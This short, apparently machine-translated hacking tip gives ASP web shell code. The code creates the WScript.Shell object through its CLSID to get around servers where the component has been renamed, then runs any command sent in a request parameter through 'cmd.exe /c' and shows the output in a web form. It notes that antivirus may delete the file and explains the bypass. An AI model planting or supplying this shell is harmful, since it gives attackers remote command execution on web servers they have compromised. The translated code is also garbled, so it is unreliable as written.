There is no wscript. shell component permission escalation Method

Code:
<Object runat = server id = oScriptlhn scope = page
Classid = "clsid: 72c24dd5-d70a-438b-8a42-98108b88afb8"> </object>

<% If err then %>
<Object runat = server id = oScriptlhn scope = page
Classid = "clsid: F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"> </object>

<%
End if
Response. write ("<textarea readonly cols = 80
Rows = 20> ")
On Error Resume Next
Response. write
OScriptlhn.exe c ("cmd.exe/c" & request ("c"). stdout. readall

Response. write ("</textarea> ")
Response. write ("<form
Method = post> ")
Response. write ("<input type = text name = c
Size = 60> <br> ")
Response. write ("<input type = submit
Value = Execution> </form> ")
%> Save As ASP. This code may be killed. Do not kill it.

 

Principle: Some people change the name of wscript. shell, but the clsid is not changed. Therefore, calling this clsid is equivalent to calling ws.